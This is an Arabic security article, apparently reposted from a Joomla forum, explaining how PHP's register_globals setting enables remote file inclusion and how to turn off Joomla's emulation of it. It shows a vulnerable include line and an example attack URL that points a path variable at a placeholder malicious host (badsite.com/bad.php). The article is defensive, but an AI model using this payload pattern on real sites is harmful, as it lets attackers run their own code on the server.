|
ماهي الــ Register Globals |
|
وودي
|
|
10/02/2008 |
|
من الاعدادات المستخدمة في الـ php يوجد اعداد يعرف بالـ register_globals. وظيفته تكمن في التسهيل على المبرمج حيث يقوم بتعريف المتغيرات المدخلة من المستخدم بطريقتي Post و Get في النطاق العام,و هنا تكمن الخطورة , فيما يلي مثال يوضح هذا 
مثال: لنفترض أن هناك تطبيق يسمى X وهذا التطبيق مكتوب بطريقة غير آمنة و يحتوي على السطر التالي
include $mosConfig_absolute_path . '/components/com_X/XFile.php' );
كما هو واضح يقوم هذا السطر بادراج ملف الـ php المدعو Xfile.php في التطبيق
لنفترض أن أحدا الأشرار حاول مهاجمة هذا التطبيق باستخدام الـ url التالي
http:/ /www.example.com/components/com_x/x.php?mosConfig_absolute_path=http://www.badsite.com/bad.php
في حالة وجود الـ register_globals سيقوم الـ php مشكورا بتعريف المنغيير mosConfig_absolute_path في النطاق العام,طبعا المتغيير mosConfig_absolute_path هو اسم متغيير مستعمل من قبل و بالتالي يقوم php بتغيير قيمته الى h t t p://w w w. badsite . com/ bad . php . و عندما يقوم جملة بتنفيذ السطر
include $mosConfig_absolute_path . '/components/com_X/XFile.php' );
include http://www.badsite.com/bad.php. '/components/com_X/XFile.php' );
أي ادراج ملف PHP من موقع آخر و يتم تنفيذ الأوامر التي يحتويها على السرفر الخاص بك و في الأغلب لن تكون أوامر مسالمة
ما موقعنا نحن من هذه المشكلة: اعدادات جملة الافتراضية تشغل أو تحاكي تشغيل register_globals لانه بالرغم من خطورته الا أن هناك تطبيقات تعتمد عليه "أظن joomlaboard يعتمد عليه".
الحل: فنح لوحة التحكم بجملة والذهاب الى Site -> Global Configuration ثم إخنتيار tab Server وتعديل Register Globals Emulation الى OFF
هذا الحل سيعمل بشكل جيد اذا كنت لا تستعمل تطبيقات تعتمد على هذه الخاصية,أما اذا واجهتك مشاكل بعد تعطيل الـ RG_EMULATION فلا حل الا اعادة تشغيله مرة أخرى و ترقية التطبيقات التي حدثت بها المشاكل الى آخر اصدار "حتى تأمن شر الـ RG " أو الانتقال الى غيرها ان وجدت البدائل.
منقول من منتدى جملة الرسمي . أضف الى المفضلة (13) | أضف الى موقعك | المشاهدة: 239 | ارسال لصديق
|
- من فضلك اضف تعليق يتناسب مع الخبر.
- أي اهانات أو شتم سيتم حذفها.
- لا تنس اضافة الكود الأمني الموجود بالأسفل.
|
|
|
آخر تحديث ( 26/02/2008 )
|